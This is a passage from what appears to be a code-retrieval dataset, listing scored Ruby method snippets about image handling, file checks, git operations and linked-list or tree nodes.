bytes CRC\n file.seek(current_pos + chunk_len + 4, IO::SEEK_SET)\n end\n end\n\n iend_reached\n end", "title": "" }, { "docid": "c4bf4ae78fd910b2b92a84a832d7178a", "score": "0.5029333", "text": "def ensure_migrated\n return if blob\n\n content_upload(fetcher.html_file)\n end", "title": "" }, { "docid": "6a8eeec272a582e0da4468e83578c8bc", "score": "0.50224274", "text": "def failed?\n return false if pending?\n if rendered != File.read(full_output_file)\n @error = 'Rendered output does not match expected.'\n end\n !@error.nil?\n end", "title": "" }, { "docid": "a2c62ec188bed96c38f1931c56d1ef20", "score": "0.5019232", "text": "def determine_whether_to_resize_image\n if label == :access && pdf? && format == \"pdf\"\n output_file = directives.fetch(:url).split('file:')[1]\n begin\n _stdin, _stdout, _stderr = popen3(\"cp #{source_path} #{output_file}\")\n rescue StandardError => e\n Rails.logger.error(\"#{self.class} copy error: #{e}\")\n end\n else\n create_resized_image\n end\n end", "title": "" }, { "docid": "f34a8658181170da242a8bd27da241b2", "score": "0.5013659", "text": "def validate_image_md5sum\n result = true\n if upload_md5sum.present? && save_to_temp_file\n sum = File.open(upload_temp_file) do |f|\n Digest::MD5.hexdigest(f.read)\n end\n if sum == upload_md5sum\n result = true\n else\n errors.add(:image, :validate_image_md5_mismatch.\n t(actual: sum.split.first, expect: upload_md5sum))\n result = false\n end\n end\n result\n end", "title": "" }, { "docid": "aff851c3331c9e8e9aa5c7a7b91c8af1", "score": "0.5001933", "text": "def updated?\n command.success?\n end", "title": "" }, { "docid": "cda9a3ce51dff474e57d37eb6b7b8bd1", "score": "0.5001518", "text": "def is_name_update?\n return false if @chunks.size < 10\n [-10, -7, -6, -5, -4, -2, -1].map {|i| @chunks[i] } ==\n [83, OP_2DROP, OP_DROP, OP_DUP, OP_HASH160, OP_EQUALVERIFY, OP_CHECKSIG]\n end", "title": "" }, { "docid": "cba4244fbd56fbd711bcf3aeb21e8ca1", "score": "0.49974647", "text": "def correct_binary?\n latest == current && File.exists?(binary)\n end", "title": "" }, { "docid": "2db740cc9bfae6dda401fec6950c7afa", "score": "0.49895948", "text": "def img_exists?(key)\n lock(:img) do\n @cache[:img].has_key?(key)\n end\n end", "title": "" }, { "docid": "6d65fa9818cddf695063fa0fcc1e900c", "score": "0.4988693", "text": "def validate_avatar\n if self.avatar.queued_for_write[:original]\n # self.errors.add(:change_pass)\n dimensions = Paperclip::Geometry.from_file(self.avatar.queued_for_write[:original])\n self.errors.add(:avatar, \"should at least 320px\") if dimensions.width > 320\n end\n end", "title": "" }, { "docid": "6e1c55682544466e5f9f9f789c6c3f03", "score": "0.49860075", "text": "def check_for_changes_affecting_cached_pdfs\n overlap = %w(branching_logic position requirement) & previous_changes.keys\n return if overlap.empty?\n\n design.touch :pdf_cache_busted_at\n end", "title": "" }, { "docid": "957c56e0100e82ad60dd555f58197725", "score": "0.49847075", "text": "def compact!\n return false unless valid?\n\n autorelease_pool do\n Dir.foreach(@cache_path) do |entry|\n path = File.join(@cache_path, entry)\n File.unlink(path) if File.stat(path).nlink < 2\n end\n end\n\n true\n rescue SystemCallError\n false\n end", "title": "" }, { "docid": "5fb24e5d723c22dacbcc48e8b92136c8", "score": "0.49838677", "text": "def image?(new_file)\n self.file.content_type.include? 'image'\n end", "title": "" }, { "docid": "5bfbdfaaa4924650edd2c9ca9a78d5e0", "score": "0.49766508", "text": "def patch_file(file, &block)\n filename = \"#{Dir.pwd}/#{file}\"\n if File.exist?(filename)\n contents = IO.read(filename)\n new_contents = block.call(contents.dup)\n if contents != new_contents\n File.open(filename, 'wb') {|f| f.write new_contents}\n mysystem(\"git add #{file}\")\n return true\n end\n end\n false\n end", "title": "" }, { "docid": "8bf8dd8293e00f74f8c3b8116f7d94f1", "score": "0.49744716", "text": "def update_copied_remote_file(file, copy)\n # the remote has a file that has been copied or moved from copy[file] to file.\n # file is also destination.\n src = copy[file]\n \n # If the user doen't even have the source, then we apparently renamed a directory.\n if !(working_changeset.include?(file2))\n directory nil, file, src, remote.flags(file)\n elsif remote.include? file2\n # If the remote also has the source, then it was copied, not moved\n merge src, file, file, flag_merge(src, file, src), false\n else\n # If the source is gone, it was moved. Hence that little \"true\" at the end there.\n merge src, file, file, flag_merge(src, file, src), true\n end\n end", "title": "" }, { "docid": "fe1d506c36608db6bdf3ebeb60ddf600", "score": "0.49741974", "text": "def image_too_small?\n @temp_file.open if @temp_file.closed?\n @temp_file.size < options[:min_size]\n end", "title": "" }, { "docid": "9972c6147ed5afb14c28c0538a1f2bd8", "score": "0.49669942", "text": "def verify_image_not_in_use\r\n if @image.player_characters.size > 0 || @image.creatures.size > 0 || @image.features.size > 0\r\n flash[:notice] = 'Cannot delete \"' + @image.name + '\", it is in use.'\r\n false\r\n else\r\n true\r\n end\r\n end", "title": "" }, { "docid": "189f68f59421efd5c12937a4c2f84688", "score": "0.49668676", "text": "def is_pic_url_dup?\n self.class.where(\"pic = ? and id != ?\", pic, id).count > 0\n end", "title": "" }, { "docid": "ada7b42e415b009a6ec946716cefa4f9", "score": "0.49665162", "text": "def update_img\n @post = Post.find(self.id)\n image = @post.image.url(:gallery)\n image = '/public' + image.gsub(/\\?.*/, '')\n\n if !@post.meme_text.nil?\n if File.exists? Rails.root.to_s + image\n PostsHelper.image_writer(image, @post.meme_text, @post.meme_position)\n end\n end\n end", "title": "" }, { "docid": "bcb86f0f0e599ce820c085bc897b7d8e", "score": "0.49663666", "text": "def valid_image(image_path)\n image_path.exist? && image_path.size < 32.kilobytes\n end", "title": "" }, { "docid": "7f9bb5c182f138f0251c3ace5f0da9a6", "score": "0.49541464", "text": "def need_update?\n return true unless @lastread\n @lastread < File::stat(@path).mtime\n end", "title": "" }, { "docid": "b8e1f66e25c57918e7dd988d2d3d4f32", "score": "0.49526992", "text": "def update_image(branch, old_path, new_file, author, message)\n repo = satelliterepo\n repo.checkout(branch)\n # to test if first image is updated\n file = File.join satellitedir, old_path\n FileUtils.cp new_file.tempfile.path, file\n repo.index.add old_path\n commit_id = satellite_commit(\n repo,\n message,\n author,\n branch\n )\n generate_thumbnail old_path, commit_id\n generate_inspire_image old_path if branch == 'master'\n repo.checkout('master')\n end", "title": "" }, { "docid": "30ad524bc2367afe474785e760157e43", "score": "0.49476123", "text": "def should_compile_assets?\n diff.has_asset_changes? || !File.exist?('public/assets')\n end", "title": "" }, { "docid": "8e6173d8af4dc7d5db6acdd3c2deeea2", "score": "0.4944588", "text": "def sync(force = false)\n @img.store_pixels(x, y, width, height, @view) if @dirty || force\n @dirty || force\n end", "title": "" }, { "docid": "803b8f37e93c2a1e690379b0ed765dcd", "score": "0.49415365", "text": "def image_changes?(params)\n for image in self.images.keys\n if params.include? image.to_sym\n return true\n elsif !params[\"existing_image_for_#{image.to_s}\"].blank?\n return true\n end \n end\n return false\n end", "title": "" }, { "docid": "8507a3ebc30ca5d7feb152b5b14dbb9a", "score": "0.4926377", "text": "def raster_work?\n false\n end", "title": "" }, { "docid": "04b6f4e50d05ac300d118c4fb6999f3b", "score": "0.49263036", "text": "def test_sbit_chunk\n\n each_file_with_updated_info do\n |file_path|\n\n if @test_feature == \"c\" && @parameter[0] == \"s\"\n img = Imgrb::Image.new(file_path, :only_metadata)\n next if img.ancillary_chunks[:sBIT].size == 0\n if img.header.bit_depth == 16\n expected = [13,13,13]\n else\n expected = [@parameter[1].to_i]*3\n end\n\n assert_equal expected,\n img.ancillary_chunks[:sBIT][0].get_data\n end\n end\n\n\n\n img = Imgrb::Image.new(10, 10, [255,155])\n sbit_dat = [3,5]\n sbit = Imgrb::Chunks::ChunksBIT.assemble(*sbit_dat)\n img.add_chunk(sbit)\n\n png_str = save_png_to_string(img)\n img_saved = Imgrb::Image.new(png_str, :from_string)\n sbit_dat_saved = img_saved.ancillary_chunks[:sBIT][0].get_data\n\n assert_equal sbit_dat, sbit_dat_saved\n end", "title": "" }, { "docid": "bf6647b75839325bcb48d027f4b43839", "score": "0.4919701", "text": "def file_unchanged?(js_name)\n # Start-Open3\n Open3.popen3(\"git status --short #{js_name}\") do |stdin, stdout, stderr|\n # Start-If: Check if job script in working dir is modified since last check-in\n if stdout.read.empty? \n return true\n else \n puts \"#{js_name} modified since last commit. Please commit changes to the repo and #{$0} again!\"\n return false\n end\n # End-If: Check if job script in working dir is modified since last check-in\n end\n # End-Open3\nend", "title": "" }, { "docid": "e1cc89eddace1762200729dc33265bb4", "score": "0.49169314", "text": "def update_image\n if ActiveRecord::Type::Boolean.new.cast(@remove_image)\n self.image = nil\n self.image_content_type = nil\n elsif @image_file\n self.image = @image_file.read\n self.image_content_type = @image_file.content_type\n end\n self\n end", "title": "" }, { "docid": "69cd6d2b8c069b5ab5066513ea614a07", "score": "0.4914787", "text": "def should_process?(image_file, image_metadata)\n true\n end", "title": "" }, { "docid": "e01185cb7b56602f5ac3543b90030d85", "score": "0.4912349", "text": "def remote_file_differs?(full_path, content)\n !remote_file_exists?(full_path) || remote_file_exists?(full_path) && !remote_file_content_same_as?(full_path, content)\n end", "title": "" }, { "docid": "3daa5f08e4d5dd1237acb9636709256a", "score": "0.49080878", "text": "def force_update_every_chunk\r\n @chunk_hash.each_value { |chunk| chunk.flag_chunk_update = true }\r\n end", "title": "" }, { "docid": "b99cd1b56edcb69cc793db9c1a1837fd", "score": "0.4903637", "text": "def image? new_file\n new_file.content_type.start_with? 'image'\n end", "title": "" }, { "docid": "9024affe63886718df6c472acb20c854", "score": "0.49007726", "text": "def handle_silent_modification_failure?\n self[:raise_on_save_failure] == false\n end", "title": "" } ]
f330ce4793945180c7d51444c9778928
If the data attribute is empty, we need to create a self closing node key. We also :clear_data! in the node.
[ { "docid": "67cb3888897ac34c8e9ea105f8b200a1", "score": "0.5811416", "text": "def process_empty_object\n clear_data!\n self.key = transform_to_empty_key(key)\n end", "title": "" } ]
[ { "docid": "8d852ebf9bcfd3abf27fef41ba63fc5c", "score": "0.6014992", "text": "def replace_data(node, data)\n node.data\n ensure\n node.data = data\n end", "title": "" }, { "docid": "aa515c2f2525099e4298faedbabf9efa", "score": "0.5977198", "text": "def associate_next_empty_group(key:, data:, column: nil)\n nxt_grp = next_empty_group(key: key, column: column)\n associate_group(group: nxt_grp, key: key, data: data)\n nxt_grp\n end", "title": "" }, { "docid": "63fc0b6c883020d93ace43a7f5ea2b35", "score": "0.571469", "text": "def initialize(data)\n @node_data = data\n end", "title": "" }, { "docid": "7f2a62815682848d74bca8e8b46740d2", "score": "0.5701214", "text": "def associate_next_empty(key:, data:, column: nil)\n nxt = next_empty(key: key, column: column)\n associate(index: nxt, key: key, data: data)\n nxt\n end", "title": "" }, { "docid": "8beb1073f2ef46d6a7e4a0bf80083a2c", "score": "0.5662422", "text": "def data_nil?\n raise 'You must use the parse method to populate the data attribute first' if @data.nil?\n end", "title": "" }, { "docid": "8a4376c97bd97745b5ecf9b939d1def8", "score": "0.5654042", "text": "def delete(data)\n # get node containing data\n node, parent = lookup(data)\n return nil if node.nil?\n\n children_count = node.children_count\n\n if children_count == 0\n # if node has no children, just remove it\n if parent.nil?\n @data = nil\n else\n if parent.left == node\n parent.left = nil\n else\n parent.right = nil\n end\n end\n elsif children_count == 1\n # if node has 1 child, replace node with child\n n = node.left.nil? ? node.right : node.left\n if parent.nil?\n @left = n.left\n @right = n.right\n @data = n.data\n else\n if parent.left == node\n parent.left = n\n else\n parent.right = n\n end\n end\n else\n # Node has 2 children; find its successor\n parent = node\n successor = node.right\n until successor.left.nil?\n parent = successor\n successor = successor.left\n end\n # replace node data by its successor data\n node.data = successor.data\n # fix successor's parent's child\n if parent.left == successor\n parent.left = successor.right\n else\n parent.right = successor.right\n end\n end\n end", "title": "" }, { "docid": "f8c0a135c1a09e524c1e808af3e66726", "score": "0.56315684", "text": "def set_next_node(data)\n data_placed = false\n temp = @root\n until data_placed\n if data == temp.value\n data_placed = true\n elsif data < temp.value\n if temp.left_child.nil?\n temp.left_child = Node.new(data, temp)\n data_placed = true\n else\n temp = temp.left_child\n end\n else # data > temp.value\n if temp.right_child.nil?\n temp.right_child = Node.new(data, temp)\n data_placed = true\n else\n temp = temp.right_child\n end\n end\n end\n end", "title": "" }, { "docid": "7ef9ca2b0b8b914bc7914090a759548e", "score": "0.563102", "text": "def associate_provenance_next_empty_group(key:, data:, column: nil)\n nxt_grp = next_empty_group(key: key, column: column)\n associate_provenance_group(group: nxt_grp, key: key, data: data)\n nxt_grp\n end", "title": "" }, { "docid": "aa6a34b32cdbaf5d5f53ecfd9864ef71", "score": "0.5626282", "text": "def on_empty_node_compressed_data(attributes, buf, ctx)\n cdata = File.open(File.join(@in_dir, attributes[:path]), 'rb', &:read)\n meta = cdata[0,5]\n size = cdata[5, 8].unpack1(\"q\")\n cdata = cdata[5+8..-1]\n put_rec \"COMPRESSED_DATA\" do\n @esf.put_4x \"\\x46\", cdata\n put_rec \"COMPRESSED_DATA_INFO\" do\n @esf.put_u size\n @esf.put_4x \"\\x46\", meta\n end\n end\n end", "title": "" }, { "docid": "4790d3e2df7f0b076d991f925f350323", "score": "0.5501307", "text": "def clear_data!\n @data = ''\n end", "title": "" }, { "docid": "473cac635f0f058ba8b96637e66ced85", "score": "0.5498067", "text": "def reset_data\n self.data.each {|k, v| v[:data] = {}}\n end", "title": "" }, { "docid": "ad955b8bea8b6b229bff7f1409a7e9b4", "score": "0.53978896", "text": "def create_leaf(path, data)\n return @create_leaf_override.call(self, data) if @create_leaf_override\n return data.to_s.strip\n end", "title": "" }, { "docid": "c2fcd4e982e70a3b629e59314f39c17e", "score": "0.5361138", "text": "def associate_provenance_next_empty(key:, data:, column: nil)\n nxt = next_empty(key: key, column: column)\n associate_provenance(index: nxt, key: key, data: data)\n nxt\n end", "title": "" }, { "docid": "908ce818923c8b00ea2eea17f4671b98", "score": "0.53143275", "text": "def unroot(data)\n return if data.nil?\n\n ActiveResource::Formats\n .remove_root(data)\n .yield_self do |rootless|\n rootless.nil? ?\n nil :\n rootless\n end\n\n end", "title": "" }, { "docid": "96880774c53c69036b557222b5faa363", "score": "0.5295788", "text": "def insert_data(data)\n self.root = insert(data)\n end", "title": "" }, { "docid": "4c78b35fbbb4f1fae28aefcf2acf4e7f", "score": "0.5257381", "text": "def clear_node\n self.value = nil\n self.left_child = nil\n self.right_child = nil\n end", "title": "" }, { "docid": "41db13fdf1f76fe6617983b3d8f94ed2", "score": "0.5239659", "text": "def remove_save_children(data, _current_node = nil)\n current_node = find(data)\n parent = parent_node(data)\n if current_node.left.nil? && current_node.right.nil?\n parent.left = nil if parent.left && parent.left.data == data\n parent.right = nil if parent.right && parent.right.data == data\n current_node.data = nil\n elsif current_node.left.nil? && current_node.right\n parent.left = current_node.right if parent.left && parent.left.data == data\n parent.right = current_node.right if parent.right && parent.right.data == data\n current_node.data = nil\n elsif current_node.left && current_node.right.nil?\n parent.left = current_node.left if parent.left && parent.left.data == data\n parent.right = current_node.left if parent.right && parent.right.data == data\n current_node.data = nil\n elsif current_node.left && current_node.right\n if current_node.right.left.nil?\n current_node.right.left = current_node.left\n current_node.left = nil\n remove_save_children(data)\n else\n tmp = current_node.right.left\n tmp = tmp.left while tmp.left\n tmp.left = current_node.left\n current_node.left = nil\n remove_save_children(data)\n end\n end\n end", "title": "" }, { "docid": "46534e840429e2fb8ac6861de9a12497", "score": "0.5232466", "text": "def inflate_node(node_data)\n node_data['chef_environment'] ||= @chef_environment if @chef_environment\n node_data['attributes'] = inflate_attrs(node_data)\n if @tags\n node_data['tags'] ||= []\n node_data['tags'] |= @tags\n end\n node_data\n end", "title": "" }, { "docid": "d5df9305d3495ce149c4e35495ea35b1", "score": "0.523238", "text": "def append(data)\n if @head.data.nil?\n @head = Node.new(data)\n else\n node = @head\n node = node.next_node until node.next_node.nil?\n node.next_node = Node.new(data)\n end\n end", "title": "" }, { "docid": "983a893f0f0dba7054aa0577ed4b994a", "score": "0.521635", "text": "def delete_node(key_str)\n if RedXML::Server::Transformer::KeyElementBuilder.element?(key_str)\n key_element_builder = RedXML::Server::Transformer::KeyElementBuilder\n .build_from_s(nil, key_str)\n children = get_plainly_children(key_str)\n children.each { |child| delete_node(child) }\n @db.delete_from_hash(@content_hash_key, [key_element_builder.attr, key_str])\n else\n @db.delete_from_hash(@content_hash_key, [key_str])\n end\n end", "title": "" }, { "docid": "4d6aed4c8a7bd625622586c8301139e5", "score": "0.5207019", "text": "def child_node=(_); end", "title": "" }, { "docid": "f5a89dd33cfe3f05928ab10144bb49e8", "score": "0.5199367", "text": "def data= data\n leafs.compact!\n \n self.dataset = data.to_a\n self.url = nil\n end", "title": "" }, { "docid": "73c6b09c765a4b95a88e7204b958adc3", "score": "0.5195436", "text": "def node=(_); end", "title": "" }, { "docid": "73c6b09c765a4b95a88e7204b958adc3", "score": "0.5195436", "text": "def node=(_); end", "title": "" }, { "docid": "f8f148abb630b4732b5f857ddce8de0c", "score": "0.5172041", "text": "def initialize(op_data = {})\n @@log.debug {\"Node Element Initialized with: #{op_data.inspect}\"} if @@log.debug?\n \n #set the module with the operation definition and include them\n @ops_set_module = op_data[:op_sets_mod] ||DefaultOpSets\n self.class.__send__(:include, @ops_set_module) #why is this private? am I doing something wrong?\n \n #set the mapping between fields and the type of operations supported by those fields\n @field_op_set_sym = DefaultFieldOpSet.merge(op_data[:field_op_set] || {})\n @@log.info {\"Field Operations Set: #{@field_op_set_sym.inspect}\"} if @@log.info?\n @field_op_defs = get_field_op_procs(@field_op_set_sym)\n \n #set the key fields that will work as node/record identifiers or other key fields\n @key_fields = op_data[:key_fields]||DefaultKeyFields\n raise \"key_fields are required\" unless @key_fields\n\n #we are no longer differentiating between keys required for insantiation and persistence\n #this can be added in the future easily though.\n @required_instance_keys = @key_fields[:required_keys]\n @required_save_keys = @key_fields[:required_keys]\n @node_key = @key_fields[:primary_key]\n @views = default_views(@field_op_set_sym) #TODO: Allow custom views in the future\n end", "title": "" }, { "docid": "c87d1cb075548d5399c28ac24a26b1bb", "score": "0.51700205", "text": "def initialize(data = nil)\r\n\t\t@head = Node.new(data)\r\n\t\t@tail = nil\r\n\t\tif data==nil\r\n\t\t\t@size = 0\r\n\t\telse\r\n\t\t\t@size = 1\r\n\t\tend\r\n\tend", "title": "" }, { "docid": "323bde4520266475f0b16387abe67bfb", "score": "0.5168007", "text": "def clear\n @data = {}\n @next_keys = {}\n end", "title": "" }, { "docid": "d59077fb7da548b4b76735cea24d190c", "score": "0.514599", "text": "def add_first_node(data)\n\t\t@head = Node.new(data, nil)\n\t\t@last = @head\n\tend", "title": "" }, { "docid": "82b4a04e23981cfec78925ec4c7e3955", "score": "0.51338863", "text": "def remove(data) \n set data, 0\n end", "title": "" }, { "docid": "a63d4b8b19e03565b5d77f1e0014bdeb", "score": "0.51182", "text": "def build_node\n \"\"\n end", "title": "" }, { "docid": "46eecd0f37fe42f6f62112fbc34c985f", "score": "0.5116146", "text": "def empty?\n @node == nil\n end", "title": "" }, { "docid": "3b5bacc2ee281c04fe8d0a3fcaf96e3c", "score": "0.5113483", "text": "def initialize()\n @data = \"\"\n end", "title": "" }, { "docid": "a4612f7b3b1c758ba44f5670dbcf2258", "score": "0.51007855", "text": "def if_data_element (data, element, classes = \"\", data_attrs = \"\")\n if data && !data.empty?\n return \"<#{element} class='#{classes}' #{data_attrs}>#{data}</#{element}>\"\n end\n end", "title": "" }, { "docid": "c262f59f01949b1005bef85c3b85b9ac", "score": "0.509066", "text": "def remove(data)\n set data, 0\n end", "title": "" }, { "docid": "91044d947fedf5548ab67304bcddd09c", "score": "0.50895745", "text": "def add_node(data)\n\n\t\t# change tactics if we're adding the first node\n\t\tif @head.nil?\n\n\t\t\tadd_first_node(data)\n\n\t\telse\n\n\t\t\tnew_node = Node.new(data)\n\n\t\t\t# point the last node to our new one\n\t\t\t@last.next = new_node\n\n\t\t\t# set our new node as the official last node\n\t\t\t@last = new_node\n\n\t\tend\n\t\tputs \"Added node with the value: #{data}\"\n\tend", "title": "" }, { "docid": "ba8528648fd3eab7254840d6a2742a53", "score": "0.5083602", "text": "def insert data\n\t\tnode = Node.new data\n\t\tunless head\n\t\t\tself.head = node\n\t\telse\n\t\t\tnode.prev = self.tail\n\t\t\tself.tail.next = node\n\t\tend\n\t\tself.tail = node\n\t\tself.length += 1\n\tend", "title": "" }, { "docid": "f946fb71f925b6d8bf3a26ad2f09cf21", "score": "0.5080443", "text": "def DataReset()\n @xml_data = \"\"\n end", "title": "" }, { "docid": "45c578843bfbf549f87052bb6d22a686", "score": "0.50732905", "text": "def nilOrEmpty(data, alt)\n \t\tif data == nil || data.length == 0\n \t\t\talt\n \t\telse\n \t\t\tdata\n \t\tend\n \tend", "title": "" }, { "docid": "cff1332b51f7f07ac0845a9a694e67fd", "score": "0.50722003", "text": "def nil_node(t)\n raise NotImplementedError\n end", "title": "" }, { "docid": "f95e3d4f69964910a6a60c573dba859f", "score": "0.5064127", "text": "def blank_column\n blank_col = '<div class=\"crossbeams-col\"><!-- BLANK COL --></div>'\n @nodes << OpenStruct.new(render: blank_col)\n end", "title": "" }, { "docid": "af61aa9ab4dac010d11f829709f4a79b", "score": "0.5061357", "text": "def empty\n delete_old_nodes 0\n end", "title": "" }, { "docid": "f0076db754a659fbdca9d0ee9102fed2", "score": "0.5059779", "text": "def initialize(data = nil)\r\n\t\t@head = Node.new(data)\r\n\t\t@tail = nil\r\n\tend", "title": "" }, { "docid": "f0076db754a659fbdca9d0ee9102fed2", "score": "0.5059779", "text": "def initialize(data = nil)\r\n\t\t@head = Node.new(data)\r\n\t\t@tail = nil\r\n\tend", "title": "" }, { "docid": "9839985fee1f3958cc69fce228fc0241", "score": "0.50487727", "text": "def set_data data\n @x_cell.each_attr do |a|\n a.remove! unless a.name == 'style-name' # TODO: ns equality check\n end\n @x_cell.each &:remove!\n @x_cell.ns_set_attr 'office:value-type', 'string'\n @x_cell << @x_cell.doc.ns_create_node('text:p', data)\n data\n end", "title": "" }, { "docid": "7343fe7832e3b786e774eca56ed15cdd", "score": "0.5040469", "text": "def add_key_data(key_data_); end", "title": "" }, { "docid": "7c873c010644b3c88c4e522f763730c0", "score": "0.50387245", "text": "def initialize()\r\n @root = nil\r\n @empty_string_exist = false\r\n end", "title": "" }, { "docid": "43bb0790f934f13e5881c57f2031ee3e", "score": "0.5037055", "text": "def insert data\n\t\tnode = Node.new data\n\t\tunless head\n\t\t\tself.head = node\n\t\telse\n\t\t\tself.tail.next = node\n\t\tend\n\t\tself.tail = node\n\t\tself.length += 1\n\tend", "title": "" }, { "docid": "f9ed27e3675e7b3a7ba1b8e180429f02", "score": "0.50304437", "text": "def clean(node)\n update node, false, true, nil\n end", "title": "" }, { "docid": "312e9c7ab9ab41d11654c2911abb1dd0", "score": "0.5021485", "text": "def append_elem(data)\n\t\tnode = Node.new(data)\n\t\tnode.next_node = nil\n\t\t@head = node if @head == nil\n\t\t@last_elem.next_node = node if @last_elem != nil\n\t\t@last_elem = node\n\tend", "title": "" }, { "docid": "0a12d533c26ed8862b00289b430b5b6f", "score": "0.5019551", "text": "def delete(root, data)\n if root.nil? || data.nil?\n return nil\n else\n target_node = find(root, data)\n target_node.nil? ? nil : (target_node.title = nil && target_node.rating = nil)\n end\nend", "title": "" }, { "docid": "8622d88dae0367f3a65da555f2e69b17", "score": "0.50114816", "text": "def delete(data)\n if (@header == nil)\n return\n end\n \n\n #if data is contained in the header\n if (@header.data == data && @header.next)\n @header = @header.next\n @number_of_nodes -= 1\n elsif (@header.data == data) #header is the only node && contains the data\n @header = nil\n @number_of_nodes -= 1\n else\n current = @header.next\n previous = @header\n while (current)\n if (current.data == data)\n previous.next = current.next\n @number_of_nodes -= 1\n break\n end\n previous = current\n current = current.next\n end\n end\n end", "title": "" }, { "docid": "d01a65f402a955b6fa9f8244428416b1", "score": "0.5007892", "text": "def none(data)\n end", "title": "" }, { "docid": "1f7234910657bcfec98bd8ece8d6f4bf", "score": "0.5006879", "text": "def empty?\n @data[:object].nil?\n end", "title": "" }, { "docid": "41cbf52daaa9a3cff4ee9ddd68ca0682", "score": "0.50064284", "text": "def root_key!\n @_key = true\n @_key_for_collection = true\n end", "title": "" }, { "docid": "b3247a603c9bbb42ec520e2e090e36bc", "score": "0.49971333", "text": "def initialize(data = nil, next_node = nil)\n\t\t\t@data = data\n\t\t\t@next_node = next_node\n\t\tend", "title": "" }, { "docid": "90e3f487d978990c3002140c46218055", "score": "0.49944085", "text": "def reconstruct_data(node, data_binding = nil)\n node_type = node.attr('type')\n case node_type\n when 'array'\n node.element_children.map do |child|\n reconstruct_data(child, data_binding)\n end\n when /hash/\n mash ||= Hashie::Mash.new\n node.element_children.each do |child|\n mash[child.attr('key') || child.element_name] ||= reconstruct_data(child, data_binding)\n end\n mash\n when /boolean/\n node.content == \"true\"\n else\n if node.content.empty?\n nil\n elsif data_binding && node_type == 'string'\n ERB.new(node.content).result(data_binding)\n else\n node.content.ducktype\n end\n end\n end", "title": "" }, { "docid": "5bef4d7ea0140787063cb5d7bffc2aa7", "score": "0.49931672", "text": "def flatten!\n self.class.attributes.keys.select { |k| k.end_with?('_data') }.each do |data_attr|\n reference_attr = data_attr[/(.+?)_data$/, 1]\n value = send(data_attr)\n next if value.nil?\n\n send(\"#{data_attr}=\", value)\n send(\"#{reference_attr})\", nil)\n end\n\n self\n end", "title": "" }, { "docid": "4b03a96cae0bed9ccfb678cde36bc467", "score": "0.49922666", "text": "def replace_nil_to_blank(data)\n data[data.index(nil)] = BLANK_CUSTOMER_OR_PACK_SIZE_NAME if data.index(nil)\n data[data.index('')] = BLANK_CUSTOMER_OR_PACK_SIZE_NAME if data.index('')\n data\n end", "title": "" }, { "docid": "f1672324524dd4a70061bc15de7f369e", "score": "0.49875617", "text": "def token_data_blank?(data); !data or (data.respond_to?(:empty?) and data.empty?) end", "title": "" }, { "docid": "dcb0d7466de88d8bdaf27aef7ccd3f52", "score": "0.49864727", "text": "def <<(data)\n @tail = SingleNode.new(data, @tail)\n @head ||= @tail\n @size += 1\n\n self\n end", "title": "" }, { "docid": "cd9d5a8c2ca43791f95e2eec05792d0f", "score": "0.49829724", "text": "def initialize(key=nil, parent_cell=nil)\n @closed = false\n @processed = false\n @parent = parent_cell\n @parent.child = self if @parent\n @index = @@sequence += 1\n #puts \"creating node #{@index} with parent: #{@parent}\"\n add_cell(Cell.new(key)) if key\n end", "title": "" }, { "docid": "4fbb0759e207980074cc6b2a1a93b3d7", "score": "0.49777228", "text": "def append(data)\n\t\t@tail.next_node = Node.new(data, nil)\n\t\t@tail = @tail.next_node\n\tend", "title": "" }, { "docid": "3626e68ed8041ba1a4c6697d0bc3bcaf", "score": "0.49755377", "text": "def insert_next prev_node, data\n\t\tnew_node = Node.new data\n\t\tif self.length == 0\n\t\t\tself.head = new_node.next = new_node\n\t\telse\n\t\t\tnew_node.next = prev_node.next\n\t\t\tprev_node.next = new_node\n\t\tend\n\t\tself.length += 1\n self.hash[data] = new_node\n new_node\n\tend", "title": "" }, { "docid": "962eefd7a58b8f17308d5d3f019bbb39", "score": "0.49741143", "text": "def create_empty_data_set\n BasicInterfaceRegister[@data_lib][@data_set_name] = true\n end", "title": "" }, { "docid": "5835ca229f35c515cecf2001586aa0d4", "score": "0.49733117", "text": "def initialize(data = nil)\r\n @data = data\r\n zero_fill if not data.nil?\r\n end", "title": "" }, { "docid": "f83942c8dda530a6f47aaf8569d90d05", "score": "0.4972682", "text": "def remove_forced(data, _current_node = nil)\n current_node = find(data)\n parent = parent_node(data)\n parent.left = nil if parent.left && parent.left == ObjectSpace._id2ref(current_node.object_id)\n parent.right = nil if parent.right && parent.right == ObjectSpace._id2ref(current_node.object_id)\n end", "title": "" }, { "docid": "b1531a822a36fd80d62c32cd04916ac2", "score": "0.49721822", "text": "def clear!(key = nil)\n key.nil? ? @data.clear : @data.delete(key)\n end", "title": "" }, { "docid": "c14709c618b64562dda3e990b81e551d", "score": "0.4970348", "text": "def insert(data)\n node = Node.new(data)\n\n if @size == 0\n @root = node\n else\n parent = @root\n\n loop do\n if data <= parent.value\n if !parent.left # found a leaf node\n parent.left = node # insert here\n break\n else\n parent = parent.left\n end\n else # data > node.value\n if !parent.right # found a leaf node\n parent.right = node # insert here\n break\n else\n parent = parent.right\n end\n end\n end\n end\n\n @size += 1\n end", "title": "" }, { "docid": "3a06b8cf177dfcc9bfca7430d00730f9", "score": "0.49699813", "text": "def delete(data)\n node = find(data)\n if !node.nil?\n remove(node)\n end\n end", "title": "" }, { "docid": "7ce6e858102ca3e1eafa2e9a7fb335a3", "score": "0.4954939", "text": "def clear\n @data = \"O\" * size\n end", "title": "" }, { "docid": "770437b7f9ec44f3e040509c08abf459", "score": "0.49466068", "text": "def push(data)\n \tunless @head\n \t initialize data\n \t else\n \tnode = Node.new(data)\n \t\tnode.next = @last\n \t\tnode.prev = @last.prev\n \t\t@last.prev.next = node\n \t\t@last.prev = node\n \t\t@size += 1\n \t\tnil\n \t\tend\n end", "title": "" }, { "docid": "ed75c1f38d8ede7b806cc6c2a7ccdb25", "score": "0.4935732", "text": "def reset\n @data = nil\n end", "title": "" }, { "docid": "3b3a234d9359a3838a906439d18249e0", "score": "0.49351463", "text": "def clear\n @data = nil\n end", "title": "" }, { "docid": "52d4b2d87d793c691411bd494eaf4e45", "score": "0.49297512", "text": "def clear ; @data.clear ; end", "title": "" }, { "docid": "8fada6fcbe78ab121ba5725c3bd9242c", "score": "0.49276698", "text": "def delete_node(key_str)\n \n if(Transformer::KeyElementBuilder.element?(key_str))\n key_element_builder = Transformer::KeyElementBuilder.build_from_s(nil, key_str)\n children = get_plainly_children(key_str)\n children.each { |child|\n delete_node(child)\n }\n \n @db.delete_from_hash(@content_hash_key, [ key_element_builder.attr, key_str ])\n else\n \n @db.delete_from_hash(@content_hash_key, [ key_str 